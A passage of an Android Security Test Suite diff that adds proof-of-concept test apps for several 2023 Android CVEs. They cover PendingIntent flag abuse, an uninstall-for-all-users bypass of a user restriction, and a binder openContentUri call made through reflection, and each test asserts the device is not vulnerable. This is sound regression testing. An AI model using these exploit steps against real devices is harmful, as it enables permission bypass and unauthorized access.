+ <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+ <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+ <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+ <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+ <string name="fileContents">This is a read only file\n</string>
+ <string name="keyMsgAssumeFail">msg</string>
+ <string name="keyPendingIntent">pi</string>
+ <string name="msgAssumeFailDefault">Got an exception in DeviceTest.java</string>
+ <string name="msgFail">Device is vulnerable to b/243794108 !!</string>
+ <string name="pkgAttacker">android.security.cts.CVE_2023_20918_attacker</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
new file mode 100644
index 0000000..dd4259b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<paths>
+ <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
new file mode 100644
index 0000000..e677938
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final long TIMEOUT_MS = 10_000L;
+ private String mAssumeFailMsg;
+
+ @Test
+ public void testCVE_2023_20918() {
+ try {
+ Context context = getApplicationContext();
+ mAssumeFailMsg = context.getString(R.string.msgAssumeFailDefault);
+ final CompletableFuture<Boolean> exploitActivityReturn = new CompletableFuture<>();
+ final String bcastActionFail = context.getString(R.string.bcastActionTestFail);
+ final String bcastActionPass = context.getString(R.string.bcastActionTestPass);
+ final String bcastActionAssumeFail =
+ context.getString(R.string.bcastActionTestAssumeFail);
+
+ // Register a broadcast receiver to receive broadcast from ExploitActivity indicating
+ // presence of vulnerability
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction().equals(bcastActionFail)) {
+ exploitActivityReturn.complete(true);
+ } else if (intent.getAction().equals(bcastActionPass)) {
+ exploitActivityReturn.complete(false);
+ } else if (intent.getAction().equals(bcastActionAssumeFail)) {
+ // mAssumeFailMsg set here is used in assumeNoException() triggered
+ // when exploitActivityReturn.get() raises a timeout exception
+ mAssumeFailMsg = intent
+ .getStringExtra(context.getString(R.string.keyMsgAssumeFail));
+ }
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(bcastActionFail);
+ filter.addAction(bcastActionPass);
+ filter.addAction(bcastActionAssumeFail);
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Write some data to the Uri content://authority/file_path/poc.txt
+ final String uriString = context.getString(R.string.contentUri);
+ try (OutputStream outputStream =
+ context.getContentResolver().openOutputStream(Uri.parse(uriString));) {
+ outputStream.write(
+ context.getString(R.string.fileContents).getBytes(StandardCharsets.UTF_8));
+ }
+
+ // Creating an intent to launch ExploitActivity
+ Intent intent = new Intent();
+ final String attackerPkg = context.getString(R.string.pkgAttacker);
+ final String exploitActivity = context.getString(R.string.activityExploit);
+ intent.setClassName(attackerPkg, exploitActivity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // Creating the inner intent for PendingIntent
+ Intent innerIntent = new Intent(Intent.ACTION_MAIN, Uri.parse(uriString));
+ innerIntent.setClassName(attackerPkg, exploitActivity);
+ innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ innerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // Launch the ExploitActivity passing PendingIntent as data
+ intent.putExtra(context.getString(R.string.keyPendingIntent), PendingIntent
+ .getActivity(context, 0, innerIntent, PendingIntent.FLAG_IMMUTABLE));
+ context.startActivity(intent);
+
+ // On vulnerable device, the PendingIntent launchIntentFlags will be added even though
+ // it is immutable, so the test should fail if the flags are found to take effect.
+ assertFalse(context.getString(R.string.msgFail),
+ exploitActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(mAssumeFailMsg, e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/Android.bp
new file mode 100644
index 0000000..e856574
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/Android.bp
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20955-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ resource_dirs: [
+ "test-app/res",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20955-test-helper",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "test-helper-app/AndroidManifest.xml",
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2d74f54
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20955_test">
+ <application android:testOnly="true">
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20955_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/values/strings.xml
new file mode 100644
index 0000000..194436b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/values/strings.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="failMsg">Vulnerable to b/258653813 !!</string>
+ <string name="msgNotFoundTxt">Did not find an object with selector %1$s on the screen</string>
+ <string name="msgSetUserRestrictionFailed">Failed to set user restriction DISALLOW_APPS_CONTROL
+ </string>
+ <string name="patternMoreOptions">.*more options.*</string>
+ <string name="patternUninstall">.*uninstall.*</string>
+ <string name="patternUninstallAllUsers">.*uninstall for all users.*</string>
+ <string name="pkgNameHelper">android.security.cts.CVE_2023_20955_test_helper</string>
+ <string name="pkgNameInstaller">com.android.packageinstaller</string>
+ <string name="uriScheme">package</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/xml/device_policies.xml
new file mode 100644
index 0000000..ed5352d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies />
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/DeviceTest.java
new file mode 100644
index 0000000..8b76904
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/DeviceTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20955_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.UserManager;
+import android.provider.Settings;
+import android.widget.ImageButton;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT_MS = 5000;
+ private Context mContext;
+ private UiDevice mDevice;
+
+ private void waitAndClick(BySelector selector) {
+ assumeTrue(mContext.getString(R.string.msgNotFoundTxt, selector.toString()),
+ mDevice.wait(Until.hasObject(selector), TIMEOUT_MS));
+ mDevice.findObject(selector).click();
+ }
+
+ @Test
+ public void testAppInfoUninstallForAllUsersDisabled() {
+ try {
+ mContext = getInstrumentation().getTargetContext();
+ mDevice = UiDevice.getInstance(getInstrumentation());
+
+ // Restrict current user to disallow controlling apps
+ ComponentName deviceAdminComponent =
+ new ComponentName(mContext, PocDeviceAdminReceiver.class);
+ DevicePolicyManager policyManager = null;
+ policyManager = mContext.getSystemService(DevicePolicyManager.class);
+ policyManager.addUserRestriction(deviceAdminComponent,
+ UserManager.DISALLOW_APPS_CONTROL);
+
+ // Waiting for user restriction to be added
+ boolean disallowAppsControlVal =
+ (boolean) policyManager.getUserRestrictions(deviceAdminComponent)
+ .getBoolean(UserManager.DISALLOW_APPS_CONTROL);
+ while (!disallowAppsControlVal && System.currentTimeMillis() < TIMEOUT_MS) {
+ disallowAppsControlVal = policyManager.getUserRestrictions(deviceAdminComponent)
+ .getBoolean(UserManager.DISALLOW_APPS_CONTROL);
+ Thread.sleep(100);
+ }
+ assumeTrue(mContext.getString(R.string.msgSetUserRestrictionFailed),
+ disallowAppsControlVal);
+
+ // Launching "application info" window for test helper app
+ Uri pkgUri = Uri.fromParts(mContext.getString(R.string.uriScheme),
+ mContext.getString(R.string.pkgNameHelper), null);
+ Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS, pkgUri);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the application info window and click on 3 dots with:
+ // content description = "More options"
+ Pattern descPattern = Pattern.compile(mContext.getString(R.string.patternMoreOptions),
+ Pattern.CASE_INSENSITIVE);
+ waitAndClick(By.clazz(ImageButton.class).desc(descPattern));
+
+ // Wait for a menu to appear. When it appears, click on the text "Uninstall for all
+ // users".
+ Pattern textPattern =
+ Pattern.compile(mContext.getString(R.string.patternUninstallAllUsers),
+ Pattern.CASE_INSENSITIVE);
+ waitAndClick(By.text(textPattern));
+
+ // Retrieve the package name of installer app
+ Intent packageInstallerIntent = new Intent(Intent.ACTION_DELETE, pkgUri);
+ ComponentName componentName =
+ packageInstallerIntent.resolveActivity(mContext.getPackageManager());
+ String pkgNameInstaller = mContext.getString(R.string.pkgNameInstaller);
+ if (componentName != null && componentName.getPackageName() != null) {
+ pkgNameInstaller = componentName.getPackageName();
+ }
+
+ // Wait for UI with package = "com.android.packageinstaller" (AOSP), text containing
+ // "uninstall". If found, it indicates vulnerable behaviour and anyone can uninstall
+ // app for all users despite the user restrictions.
+ textPattern = Pattern.compile(mContext.getString(R.string.patternUninstall),
+ Pattern.CASE_INSENSITIVE);
+ assertFalse(mContext.getString(R.string.failMsg), mDevice
+ .wait(Until.hasObject(By.pkg(pkgNameInstaller).text(textPattern)), TIMEOUT_MS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Go to the home screen
+ mDevice.pressHome();
+ } catch (Exception e) {
+ // ignore
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/PocDeviceAdminReceiver.java
similarity index 72%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/PocDeviceAdminReceiver.java
index 1a335c7..7141a40 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-app/src/android/security/cts/CVE_2023_20955_test/PocDeviceAdminReceiver.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2023_20955_test;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-helper-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-helper-app/AndroidManifest.xml
new file mode 100644
index 0000000..73420e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20955/test-helper-app/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest package="android.security.cts.CVE_2023_20955_test_helper">
+ <application />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/Android.bp
similarity index 82%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21000/Android.bp
index 09297b2..221de1f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-21000-test",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
],
- platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/AndroidManifest.xml
new file mode 100644
index 0000000..54e0b7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21000_test">
+ <application>
+ <provider
+ android:name=".TestContentProvider"
+ android:authorities="test.content.provider"
+ android:enabled="true"
+ android:exported="true"></provider>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21000_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/DeviceTest.java
new file mode 100644
index 0000000..ddabee3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/DeviceTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21000_test;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final String TAG = "DeviceTest";
+ static final int TRANSACTION_openContentUri = 1;
+
+ private IBinder mBinder = null;
+ private Parcel mParcel = null;
+ private Parcel mReply = null;
+ private ParcelFileDescriptor mFd = null;
+
+ @Test
+ @ApiTest(apis = "com.android.server.am.ActivityManagerService#openContentUri")
+ public void testCVE_2023_21000() {
+ try {
+ mBinder = getService("activity");
+
+ mParcel = Parcel.obtain();
+ mParcel.writeInterfaceToken("android.app.IActivityManager");
+ mParcel.writeString("content://test.content.provider/");
+
+ mReply = Parcel.obtain();
+
+ assumeNotNull(mBinder);
+ assumeNotNull(mParcel);
+ assumeNotNull(mReply);
+
+ Log.i(TAG, "Initiating openContentUri");
+
+ mBinder.transact(TRANSACTION_openContentUri, mParcel, mReply, 0);
+ mReply.readException();
+ mFd = mParcel.readFileDescriptor();
+ } catch (Throwable th) {
+ assumeNoException(th);
+ }
+
+ assertNull(mFd);
+ }
+
+ private IBinder getService(String name) throws Throwable {
+ return (IBinder) Class.forName("android.os.ServiceManager")
+ .getDeclaredMethod("getServiceOrThrow", String.class)
+ .invoke(null, name);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/TestContentProvider.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/TestContentProvider.java
new file mode 100644
index 0000000..b342ed7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21000/src/android/security/cts/CVE_2023_21000/TestContentProvider.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21000_test;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.util.Log;
+
+import java.io.FileNotFoundException;
+
+public class TestContentProvider extends ContentProvider {
+ private static final String TAG = "TestContentProvider";
+
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ public boolean onCreate() {
+ return true;
+ }
+
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
+ Log.i(TAG, "openFile(): ");
+ Log.i(TAG, "Calling UID: " + Binder.getCallingUid());
+ Log.i(TAG, "Calling PID: " + Binder.getCallingPid());
+ Log.i(TAG, "This UID: " + Process.myUid());
+ Log.i(TAG, "This PID: " + Process.myPid());
+ Log.i(TAG, "System permission? "
+ + getContext().checkCallingPermission("android.permission.LOCK_DEVICE"));
+ return null;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21088/Android.bp
index 50acd29..0642419 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -12,15 +12,10 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2023-21088",
defaults: [
"cts_support_defaults",
],
@@ -31,7 +26,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/AndroidManifest.xml
new file mode 100644
index 0000000..b011f79
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21088">
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <application>
+ <activity android:name=".TargetActivity"
+ android:exported="true">
+ </activity>
+ <activity android:name=".PocActivity" />
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21088" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/res/values/strings.xml
new file mode 100644
index 0000000..5475fdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/res/values/strings.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
